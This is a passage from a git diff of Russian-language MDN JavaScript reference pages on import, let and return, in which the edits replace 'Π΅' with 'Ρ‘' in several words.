+<p>ΠžΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠ΅ Ρ€Π°Π½Π΅Π΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, Π½Π°Π·Π²Π°Π½Π½ΠΎΠ΅ <code>myExport,</code> ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π±Ρ‹Π»ΠΎ экспортировано ΠΈΠ· модуля <code>my-module</code> Π»ΠΈΠ±ΠΎ нСявно (Ссли ΠΌΠΎΠ΄ΡƒΠ»ΡŒ Π±Ρ‹Π» экспортирован Ρ†Π΅Π»ΠΈΠΊΠΎΠΌ), Π»ΠΈΠ±ΠΎ явно (с использованиСм инструкции {{jsxref("Statements/export", "export")}}), позволяСт Π²ΡΡ‚Π°Π²ΠΈΡ‚ΡŒ <code>myExport</code> Π² Ρ‚Π΅ΠΊΡƒΡ‰ΡƒΡŽ ΠΎΠ±Π»Π°ΡΡ‚ΡŒ видимости.</p>
<pre class="brush: js">import {myExport} from '/modules/my-module.js';</pre>
@@ -85,7 +85,7 @@ import("/module-name.js").then(module =&gt; {…}) // ДинамичСский Π
<pre class="brush: js">import {foo, bar} from '/modules/my-module.js';</pre>
-<h3 id="Π˜ΠΌΠΏΠΎΡ€Ρ‚_Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ_с_использованиСм_Π±ΠΎΠ»Π΅Π΅_ΡƒΠ΄ΠΎΠ±Π½Ρ‹Ρ…_ΠΈΠΌΠ΅Π½">Π˜ΠΌΠΏΠΎΡ€Ρ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ с использованиСм Π±ΠΎΠ»Π΅Π΅ ΡƒΠ΄ΠΎΠ±Π½Ρ‹Ρ… ΠΈΠΌΠ΅Π½</h3>
+<h3 id="Π˜ΠΌΠΏΠΎΡ€Ρ‚_Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ_с_использованиСм_Π±ΠΎΠ»Π΅Π΅_ΡƒΠ΄ΠΎΠ±Π½Ρ‹Ρ…_ΠΈΠΌΡ‘Π½">Π˜ΠΌΠΏΠΎΡ€Ρ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ с использованиСм Π±ΠΎΠ»Π΅Π΅ ΡƒΠ΄ΠΎΠ±Π½Ρ‹Ρ… ΠΈΠΌΡ‘Π½</h3>
<p>Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠ΅Ρ€Π΅ΠΈΠΌΠ΅Π½ΠΎΠ²Π°Ρ‚ΡŒ значСния, ΠΊΠΎΠ³Π΄Π° ΠΈΠΌΠΏΠΎΡ€Ρ‚ΠΈΡ€ΡƒΠ΅Ρ‚Π΅ ΠΈΡ…. НапримСр, этот ΠΊΠΎΠ΄ вставляСт <code>shortName</code> Π² Ρ‚Π΅ΠΊΡƒΡ‰ΡƒΡŽ ΠΎΠ±Π»Π°ΡΡ‚ΡŒ видимости.</p>
@@ -117,10 +117,10 @@ import("/module-name.js").then(module =&gt; {…}) // ДинамичСский Π
<pre class="brush: js">import myDefault from '/modules/my-module.js';
</pre>
-<p>Π’ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ Ρ‚Π°ΠΊΠΆΠ΅ использованиС Ρ‚Π°ΠΊΠΎΠ³ΠΎ синтаксиса с Π΄Ρ€ΡƒΠ³ΠΈΠΌΠΈ Π²Π°Ρ€ΠΈΠ°Π½Ρ‚Π°ΠΌΠΈ ΠΈΠ· пСрСчислСнных Π²Ρ‹ΡˆΠ΅ (ΠΈΠΌΠΏΠΎΡ€Ρ‚ пространства ΠΈΠΌΠ΅Π½ ΠΈΠ»ΠΈ ΠΈΠΌΠ΅Π½ΠΎΠ²Π°Π½Π½Ρ‹ΠΉ ΠΈΠΌΠΏΠΎΡ€Ρ‚). Π’ Ρ‚Π°ΠΊΠΎΠΌ случаС, ΠΈΠΌΠΏΠΎΡ€Ρ‚ значСния ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½ ΠΏΠ΅Ρ€Π²Ρ‹ΠΌ. Для ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π°:</p>
+<p>Π’ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ Ρ‚Π°ΠΊΠΆΠ΅ использованиС Ρ‚Π°ΠΊΠΎΠ³ΠΎ синтаксиса с Π΄Ρ€ΡƒΠ³ΠΈΠΌΠΈ Π²Π°Ρ€ΠΈΠ°Π½Ρ‚Π°ΠΌΠΈ ΠΈΠ· пСрСчислСнных Π²Ρ‹ΡˆΠ΅ (ΠΈΠΌΠΏΠΎΡ€Ρ‚ пространства ΠΈΠΌΡ‘Π½ ΠΈΠ»ΠΈ ΠΈΠΌΠ΅Π½ΠΎΠ²Π°Π½Π½Ρ‹ΠΉ ΠΈΠΌΠΏΠΎΡ€Ρ‚). Π’ Ρ‚Π°ΠΊΠΎΠΌ случаС, ΠΈΠΌΠΏΠΎΡ€Ρ‚ значСния ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½ ΠΏΠ΅Ρ€Π²Ρ‹ΠΌ. Для ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π°:</p>
<pre class="brush: js">import myDefault, * as myModule from '/modules/my-module.js';
-// myModule использовано ΠΊΠ°ΠΊ пространство ΠΈΠΌΠ΅Π½</pre>
+// myModule использовано ΠΊΠ°ΠΊ пространство ΠΈΠΌΡ‘Π½</pre>
<p>ΠΈΠ»ΠΈ</p>
diff --git a/files/ru/web/javascript/reference/statements/let/index.html b/files/ru/web/javascript/reference/statements/let/index.html
index 2f38f7e7ca..df2a17de02 100644
--- a/files/ru/web/javascript/reference/statements/let/index.html
+++ b/files/ru/web/javascript/reference/statements/let/index.html
@@ -87,7 +87,7 @@ for (var i = 1; i &lt;= 5; i++) {
<p>ΠŸΡ€ΠΈΠΌΠ΅Ρ€ Π²Ρ‹ΡˆΠ΅ Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ ΠΊΠ°ΠΊ ΠΈ оТидаСтся, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ ΠΏΡΡ‚ΡŒ экзСмпляров Π²Π½ΡƒΡ‚Ρ€Π΅Π½Π½Π΅ΠΉ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ (Π°Π½ΠΎΠ½ΠΈΠΌΠ½ΠΎΠΉ) Π±ΡƒΠ΄ΡƒΡ‚ ΡΡΡ‹Π»Π°Ρ‚ΡŒΡΡ Π½Π° ΠΏΡΡ‚ΡŒ Ρ€Π°Π·Π½Ρ‹Ρ… экзСмпляров ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ <code>i</code>. ΠŸΡ€ΠΈΠΌΠ΅Ρ€ Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ Π½Π΅Π²Π΅Ρ€Π½ΠΎ, Π΅ΡΠ»ΠΈΒ Π·Π°ΠΌΠ΅Π½ΠΈΡ‚ΡŒ Π΄ΠΈΡ€Π΅ΠΊΡ‚ΠΈΠ²Ρƒ <code>let</code>Β Π½Π° <code>var,</code>Β ΠΈΠ»ΠΈ ΡƒΠ΄Π°Π»ΠΈΡ‚ΡŒ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΡƒΡŽ <code>i</code>Β ΠΈΠ· ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠ² Π²Π»ΠΎΠΆΠ΅Π½Π½ΠΎΠΉ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ внСшнюю ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΡƒΡŽ <code>i</code> Π²ΠΎ Π²Π½ΡƒΡ‚Ρ€Π΅Π½Π½Π΅ΠΉ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ.</p>
-<p id="ΠŸΡ€Π°Π²ΠΈΠ»Π°_области_видимости">На Π²Π΅Ρ€Ρ…Π½Π΅ΠΌ ΡƒΡ€ΠΎΠ²Π½Π΅ скриптов ΠΈ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉΒ <code>let, Π² ΠΎΡ‚Π»ΠΈΡ‡ΠΈΠΈ ΠΎΡ‚ var,Β Π½Π΅ создаСт свойства Π½Π° глобальном ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π΅</code>. НапримСр:</p>
+<p id="ΠŸΡ€Π°Π²ΠΈΠ»Π°_области_видимости">На Π²Π΅Ρ€Ρ…Π½Π΅ΠΌ ΡƒΡ€ΠΎΠ²Π½Π΅ скриптов ΠΈ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉΒ <code>let, Π² ΠΎΡ‚Π»ΠΈΡ‡ΠΈΠΈ ΠΎΡ‚ var,Β Π½Π΅ создаёт свойства Π½Π° глобальном ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π΅</code>. НапримСр:</p>
<pre class="brush:js">var x = 'global_x';
let y = 'global_y';
@@ -130,16 +130,16 @@ console.log(privateScope.hiddenProperty); // error</pre>
<p>Π­Ρ‚Π° Ρ‚Π΅Ρ…Π½ΠΈΠΊΠ° позволяСт ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ "статичноС" ΠΏΡ€ΠΈΠ²Π°Ρ‚Π½ΠΎΠ΅ состояниС - Π² ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ Π²Ρ‹ΡˆΠ΅, всС экзСмпляры ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½Π½Ρ‹Π΅ ΠΈΠ· конструктора <code>SomeConstructor</code>Β Π±ΡƒΠ΄ΡƒΡ‚ ΡΡΡ‹Π»Π°Ρ‚ΡŒΡΡ Π½Π° ΠΎΠ΄Π½Ρƒ ΠΈ Ρ‚Ρƒ ΠΆΠ΅ ΠΎΠ±Π»Π°ΡΡ‚ΡŒ видимости <code>privateScope</code>.</p>
-<h3 id="Π’Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅_ΠΌΠ΅Ρ€Ρ‚Π²Ρ‹Π΅_Π·ΠΎΠ½Ρ‹_ΠΈ_ошибки_ΠΏΡ€ΠΈ_использовании_let">Π’Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅ ΠΌΠ΅Ρ€Ρ‚Π²Ρ‹Π΅ Π·ΠΎΠ½Ρ‹ ΠΈ ошибки ΠΏΡ€ΠΈ использовании <code>let</code></h3>
+<h3 id="Π’Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅_ΠΌΡ‘Ρ€Ρ‚Π²Ρ‹Π΅_Π·ΠΎΠ½Ρ‹_ΠΈ_ошибки_ΠΏΡ€ΠΈ_использовании_let">Π’Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅ ΠΌΡ‘Ρ€Ρ‚Π²Ρ‹Π΅ Π·ΠΎΠ½Ρ‹ ΠΈ ошибки ΠΏΡ€ΠΈ использовании <code>let</code></h3>
-<p>ΠŸΠΎΠ²Ρ‚ΠΎΡ€Π½ΠΎΠ΅ объявлСниС Ρ‚ΠΎΠΉ ΠΆΠ΅ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ Π² Ρ‚ΠΎΠΌ ΠΆΠ΅ Π±Π»ΠΎΠΊΠ΅ ΠΈΠ»ΠΈ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈΒ ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Ρ‚ ΠΊ выбросу ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΡ <a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/SyntaxError">SyntaxError</a>.</p>
+<p>ΠŸΠΎΠ²Ρ‚ΠΎΡ€Π½ΠΎΠ΅ объявлСниС Ρ‚ΠΎΠΉ ΠΆΠ΅ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ Π² Ρ‚ΠΎΠΌ ΠΆΠ΅ Π±Π»ΠΎΠΊΠ΅ ΠΈΠ»ΠΈ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈΒ ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Ρ‚ ΠΊ выбросу ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΡ <a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/SyntaxError">SyntaxError</a>.</p>
<pre class="brush: js">if (x) {
let foo;
let foo; // SyntaxError thrown.
}</pre>
-<p>Π’ стандартС ECMAScript 2015Β ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅, ΠΎΠ±ΡŠΡΠ²Π»Π΅Π½Π½Ρ‹Π΅ Π΄ΠΈΡ€Π΅ΠΊΡ‚ΠΈΠ²ΠΎΠΉ let, пСрСносятся Π² Π½Π°Ρ‡Π°Π»ΠΎΒ Π±Π»ΠΎΠΊΠ°. Но Ссли Π²Ρ‹ ΡΠΎΡˆΠ»Π΅Ρ‚Π΅ΡΡŒ Π² Π±Π»ΠΎΠΊΠ΅ Π½Π° ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΡƒΡŽ, Π΄ΠΎ Ρ‚ΠΎΠ³ΠΎ ΠΊΠ°ΠΊ ΠΎΠ½Π° объявлСна Π΄ΠΈΡ€Π΅ΠΊΡ‚ΠΈΠ²ΠΎΠΉ let, Ρ‚ΠΎ это ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Ρ‚ ΠΊ выбросу ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΡΒ <code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/ReferenceError" title="TypeError">ReferenceError</a></code>, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ пСрСмСнная находится Π²ΠΎ "Π²Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ ΠΌΠ΅Ρ€Ρ‚Π²ΠΎΠΉ Π·ΠΎΠ½Π΅" с начала Π±Π»ΠΎΠΊΠ° ΠΈ Π΄ΠΎ мСста Π΅Π΅ объявлСния. (Π’ ΠΎΡ‚Π»ΠΈΡ‡ΠΈΠΈΒ ΠΎΡ‚ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ, объявлСнной Ρ‡Π΅Ρ€Π΅Π· <code>var</code>, которая просто Π±ΡƒΠ΄Π΅Ρ‚ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>undefined</code>)</p>
+<p>Π’ стандартС ECMAScript 2015Β ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅, ΠΎΠ±ΡŠΡΠ²Π»Π΅Π½Π½Ρ‹Π΅ Π΄ΠΈΡ€Π΅ΠΊΡ‚ΠΈΠ²ΠΎΠΉ let, пСрСносятся Π² Π½Π°Ρ‡Π°Π»ΠΎΒ Π±Π»ΠΎΠΊΠ°. Но Ссли Π²Ρ‹ ΡΠΎΡˆΠ»Ρ‘Ρ‚Π΅ΡΡŒ Π² Π±Π»ΠΎΠΊΠ΅ Π½Π° ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΡƒΡŽ, Π΄ΠΎ Ρ‚ΠΎΠ³ΠΎ ΠΊΠ°ΠΊ ΠΎΠ½Π° объявлСна Π΄ΠΈΡ€Π΅ΠΊΡ‚ΠΈΠ²ΠΎΠΉ let, Ρ‚ΠΎ это ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Ρ‚ ΠΊ выбросу ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΡΒ <code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/ReferenceError" title="TypeError">ReferenceError</a></code>, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ пСрСмСнная находится Π²ΠΎ "Π²Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ ΠΌΡ‘Ρ€Ρ‚Π²ΠΎΠΉ Π·ΠΎΠ½Π΅" с начала Π±Π»ΠΎΠΊΠ° ΠΈ Π΄ΠΎ мСста Π΅Ρ‘ объявлСния. (Π’ ΠΎΡ‚Π»ΠΈΡ‡ΠΈΠΈΒ ΠΎΡ‚ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ, объявлСнной Ρ‡Π΅Ρ€Π΅Π· <code>var</code>, которая просто Π±ΡƒΠ΄Π΅Ρ‚ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>undefined</code>)</p>
<pre class="brush: js"><code>function do_something() {
console.log(bar); // undefined
@@ -175,7 +175,7 @@ for ( let i=i ; i &lt; 10 ; i++ ) {
<pre class="brush: js">for (let <var>expr1</var>; <var>expr2</var>; <var>expr3</var>) <var>statement</var>
</pre>
-<p>Π’ этом ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅Β <var>expr2</var>, <var>expr3,Β statementΒ </var>Β Π·Π°ΠΊΠ»ΡŽΡ‡Π΅Π½Ρ‹ Π² нСявный Π±Π»ΠΎΠΊ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ содСрТит Π±Π»ΠΎΠΊ Π»ΠΎΠΊΠ°Π»ΡŒΠ½Ρ‹Ρ… ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Ρ…, ΠΎΠ±ΡŠΡΠ²Π»Π΅Π½Π½Ρ‹Ρ… конструкциСй <code>let <em>expr1</em></code>. ΠŸΡ€ΠΈΠΌΠ΅Ρ€ ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½ Π²Ρ‹ΡˆΠ΅.</p>
+<p>Π’ этом ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅Β <var>expr2</var>, <var>expr3,Β statementΒ </var>Β Π·Π°ΠΊΠ»ΡŽΡ‡Π΅Π½Ρ‹ Π² нСявный Π±Π»ΠΎΠΊ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ содСрТит Π±Π»ΠΎΠΊ Π»ΠΎΠΊΠ°Π»ΡŒΠ½Ρ‹Ρ… ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Ρ…, ΠΎΠ±ΡŠΡΠ²Π»Π΅Π½Π½Ρ‹Ρ… конструкциСй <code>let <em>expr1</em></code>. ΠŸΡ€ΠΈΠΌΠ΅Ρ€ ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½ Π²Ρ‹ΡˆΠ΅.</p>
<h2 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹">ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹</h2>
@@ -224,7 +224,7 @@ console.log(i); // i is not defined</pre>
<h4 id="ОписаниС_2">ОписаниС</h4>
-<p><strong><code>let</code> </strong>Π±Π»ΠΎΠΊ прСдоставляСт Π»ΠΎΠΊΠ°Π»ΡŒΠ½ΡƒΡŽ ΠΎΠ±Π»Π°ΡΡ‚ΡŒ видимости для ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Ρ…. Π Π°Π±ΠΎΡ‚Π° Π΅Π³ΠΎ Π·Π°ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ΡΡ Π² привязкС нуля ΠΈΠ»ΠΈ Π±ΠΎΠ»Π΅Π΅ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Ρ… ΠΊ области видимости этого Π±Π»ΠΎΠΊΠ° ΠΊΠΎΠ΄Π°, Π΄Ρ€ΡƒΠ³ΠΈΠΌΠΈ словами, ΠΎΠ½ являСтся Π±Π»ΠΎΠΊΠΎΠΌ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ΠΎΠ². ΠžΡ‚ΠΌΠ΅Ρ‚ΠΈΠΌ, Ρ‡Ρ‚ΠΎ ΠΎΠ±Π»Π°ΡΡ‚ΡŒΒ Π²ΠΈΠ΄ΠΈΠΌΠΎΡΡ‚ΠΈ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Ρ…, ΠΎΠ±ΡŠΡΠ²Π»Π΅Π½Π½Ρ‹Ρ… Π΄ΠΈΡ€Π΅ΠΊΡ‚ΠΈΠ²ΠΎΠΉ <code>var</code>, Π² <strong>Π±Π»ΠΎΠΊΠ΅ <code>let</code></strong>, Π±ΡƒΠ΄Π΅Ρ‚ Ρ‚ΠΎΠΉ ΠΆΠ΅ самой, Ρ‡Ρ‚ΠΎ ΠΈ Ссли Π±Ρ‹ эти ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅Β Π±Ρ‹Π»ΠΈΒ ΠΎΠ±ΡŠΡΠ²Π»Π΅Π½Ρ‹Β Π²Π½Π΅ <strong>Π±Π»ΠΎΠΊΠ° <code>let</code></strong>, ΠΈΠ½Ρ‹ΠΌΠΈ словами ΠΎΠ±Π»Π°ΡΡ‚ΡŒΡŽ видимости Ρ‚Π°ΠΊΠΈΡ…Β ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Ρ…Β ΠΏΠΎ-ΠΏΡ€Π΅ΠΆΠ½Π΅ΠΌΡƒ являСтся функция. Π‘ΠΊΠΎΠ±ΠΊΠΈ Π²<strong> Π±Π»ΠΎΠΊΠ΅ </strong><code><strong>let</strong></code> ΡΠ²Π»ΡΡŽΡ‚ΡΡ ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹ΠΌΠΈ. ΠžΠΏΡƒΡΠΊΠ°Π½ΠΈΠ΅ ΠΈΡ… ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Ρ‚ ΠΊ синтаксичСской ошибкС.</p>
+<p><strong><code>let</code> </strong>Π±Π»ΠΎΠΊ прСдоставляСт Π»ΠΎΠΊΠ°Π»ΡŒΠ½ΡƒΡŽ ΠΎΠ±Π»Π°ΡΡ‚ΡŒ видимости для ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Ρ…. Π Π°Π±ΠΎΡ‚Π° Π΅Π³ΠΎ Π·Π°ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ΡΡ Π² привязкС нуля ΠΈΠ»ΠΈ Π±ΠΎΠ»Π΅Π΅ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Ρ… ΠΊ области видимости этого Π±Π»ΠΎΠΊΠ° ΠΊΠΎΠ΄Π°, Π΄Ρ€ΡƒΠ³ΠΈΠΌΠΈ словами, ΠΎΠ½ являСтся Π±Π»ΠΎΠΊΠΎΠΌ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ΠΎΠ². ΠžΡ‚ΠΌΠ΅Ρ‚ΠΈΠΌ, Ρ‡Ρ‚ΠΎ ΠΎΠ±Π»Π°ΡΡ‚ΡŒΒ Π²ΠΈΠ΄ΠΈΠΌΠΎΡΡ‚ΠΈ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Ρ…, ΠΎΠ±ΡŠΡΠ²Π»Π΅Π½Π½Ρ‹Ρ… Π΄ΠΈΡ€Π΅ΠΊΡ‚ΠΈΠ²ΠΎΠΉ <code>var</code>, Π² <strong>Π±Π»ΠΎΠΊΠ΅ <code>let</code></strong>, Π±ΡƒΠ΄Π΅Ρ‚ Ρ‚ΠΎΠΉ ΠΆΠ΅ самой, Ρ‡Ρ‚ΠΎ ΠΈ Ссли Π±Ρ‹ эти ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅Β Π±Ρ‹Π»ΠΈΒ ΠΎΠ±ΡŠΡΠ²Π»Π΅Π½Ρ‹Β Π²Π½Π΅ <strong>Π±Π»ΠΎΠΊΠ° <code>let</code></strong>, ΠΈΠ½Ρ‹ΠΌΠΈ словами ΠΎΠ±Π»Π°ΡΡ‚ΡŒΡŽ видимости Ρ‚Π°ΠΊΠΈΡ…Β ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Ρ…Β ΠΏΠΎ-ΠΏΡ€Π΅ΠΆΠ½Π΅ΠΌΡƒ являСтся функция. Π‘ΠΊΠΎΠ±ΠΊΠΈ Π²<strong> Π±Π»ΠΎΠΊΠ΅ </strong><code><strong>let</strong></code> ΡΠ²Π»ΡΡŽΡ‚ΡΡ ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹ΠΌΠΈ. ΠžΠΏΡƒΡΠΊΠ°Π½ΠΈΠ΅ ΠΈΡ… ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Ρ‚ ΠΊ синтаксичСской ошибкС.</p>
<h4 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ€">ΠŸΡ€ΠΈΠΌΠ΅Ρ€</h4>
@@ -408,7 +408,7 @@ console.log(a); // 5</pre>
<ul>
<li>Π”ΠΎ SpiderMonkey 46 {{geckoRelease(46)}} выбрасывал {{jsxref("TypeError")}} Π½Π° ΠΏΠΎΠ²Ρ‚ΠΎΡ€Π½ΠΎΠ΅ объявлСниС, вмСсто {{jsxref("SyntaxError")}} ({{bug(1198833)}}).</li>
- <li>Π”ΠΎ SpiderMonkey 44 {{geckoRelease(44)}},Β <code>let</code> Π±Ρ‹Π» доступСн Ρ‚ΠΎΠ»ΡŒΠΊΠΎΒ Π΄Π»Ρ Π±Π»ΠΎΠΊΠΎΠ² ΠΊΠΎΠ΄Π° ΠΎΠ±Π΅Ρ€Π½ΡƒΡ‚Ρ‹Ρ… Π²Β HTMLΒ <code>&lt;script type="application/javascript;version=1.7"&gt;</code>block (or higher version) ΠΈ ΠΈΠΌΠ΅Π» Π΄Ρ€ΡƒΠ³ΡƒΡŽ сСмантику.</li>
- <li>ΠŸΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠ° Π² {{domxref("Worker")}} ΠΊΠΎΠ΄ спрятан Π·Π°Β <code>dom.workers.latestJSVersion</code>Β Ρ„Π»Π°Π³ΠΎΠΌ ({{bug(487070)}}). Π‘Π΅Π· вСрсии <code>let</code>, Ρ„Π»Π°Π³ Π±ΡƒΠ΄Π΅Ρ‚ ΡƒΠ΄Π°Π»Π΅Π½ Π² Π±ΡƒΠ΄ΡƒΡ‰Π΅ΠΌ ({{bug(1219523)}}).</li>
+ <li>Π”ΠΎ SpiderMonkey 44 {{geckoRelease(44)}},Β <code>let</code> Π±Ρ‹Π» доступСн Ρ‚ΠΎΠ»ΡŒΠΊΠΎΒ Π΄Π»Ρ Π±Π»ΠΎΠΊΠΎΠ² ΠΊΠΎΠ΄Π° ΠΎΠ±Ρ‘Ρ€Π½ΡƒΡ‚Ρ‹Ρ… Π²Β HTMLΒ <code>&lt;script type="application/javascript;version=1.7"&gt;</code>block (or higher version) ΠΈ ΠΈΠΌΠ΅Π» Π΄Ρ€ΡƒΠ³ΡƒΡŽ сСмантику.</li>
+ <li>ΠŸΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠ° Π² {{domxref("Worker")}} ΠΊΠΎΠ΄ спрятан Π·Π°Β <code>dom.workers.latestJSVersion</code>Β Ρ„Π»Π°Π³ΠΎΠΌ ({{bug(487070)}}). Π‘Π΅Π· вСрсии <code>let</code>, Ρ„Π»Π°Π³ Π±ΡƒΠ΄Π΅Ρ‚ ΡƒΠ΄Π°Π»Ρ‘Π½ Π² Π±ΡƒΠ΄ΡƒΡ‰Π΅ΠΌ ({{bug(1219523)}}).</li>
<li>БоблюдСниС стандарта ES2015 для <code>let</code>Β Π² SpIderMonkey отслСТиваСтся Π²Β {{bug(950547)}}</li>
</ul>
diff --git a/files/ru/web/javascript/reference/statements/return/index.html b/files/ru/web/javascript/reference/statements/return/index.html
index 37f44af769..7859580049 100644
--- a/files/ru/web/javascript/reference/statements/return/index.html
+++ b/files/ru/web/javascript/reference/statements/return/index.html
@@ -25,7 +25,7 @@ translation_of: Web/JavaScript/Reference/Statements/return
<h2 id="ОписаниС">ОписаниС</h2>
